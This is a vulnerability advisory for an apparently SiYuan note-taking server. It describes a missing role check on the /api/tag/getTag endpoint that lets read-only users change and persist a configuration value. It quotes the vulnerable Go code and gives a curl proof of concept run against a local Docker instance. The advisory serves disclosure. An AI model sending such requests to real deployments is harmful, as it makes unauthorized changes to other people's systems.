CVE-2026-45147

Description

### Summary `POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`. Same root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`). ### Details **Affected files / lines (v3.6.5):** `kernel/api/router.go:170` — only `CheckAuth`: ```go ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag) // Compare the sibling registrations on the next two lines, which DO gate writes: ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag) ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag) ``` `kernel/api/tag.go:28-64` — handler. The `if nil != arg["sort"]` block writes config without any role check: ```go func getTag(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } ... if nil != arg["sort"] { // ← unauthorized write path sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false) if !ok { return } model.Conf.Tag.Sort = int(sortVal) model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json } ... } ``` `Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object). ### PoC Same Docker setup as Advisory 1. ```bash # 1. Authenticate (any role with CheckAuth pass — admin used here for convenience). curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \ -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null # 2. Read current Conf.Tag.Sort. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])" # → Conf.Tag.Sort BEFORE = 4 # 3. Mutate via the read-style endpoint. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \ -H 'Content-Type: application/json' -d '{"sort": 7}' # → {"code":0,"msg":"","data":[]} # 4. Confirm in-memory. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])" # → Conf.Tag.Sort AFTER = 7 # 5. Confirm persisted to disk inside the container. docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json # → sort":7 ``` The vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`. ### Impact Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because: - It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually. - `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values. - A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.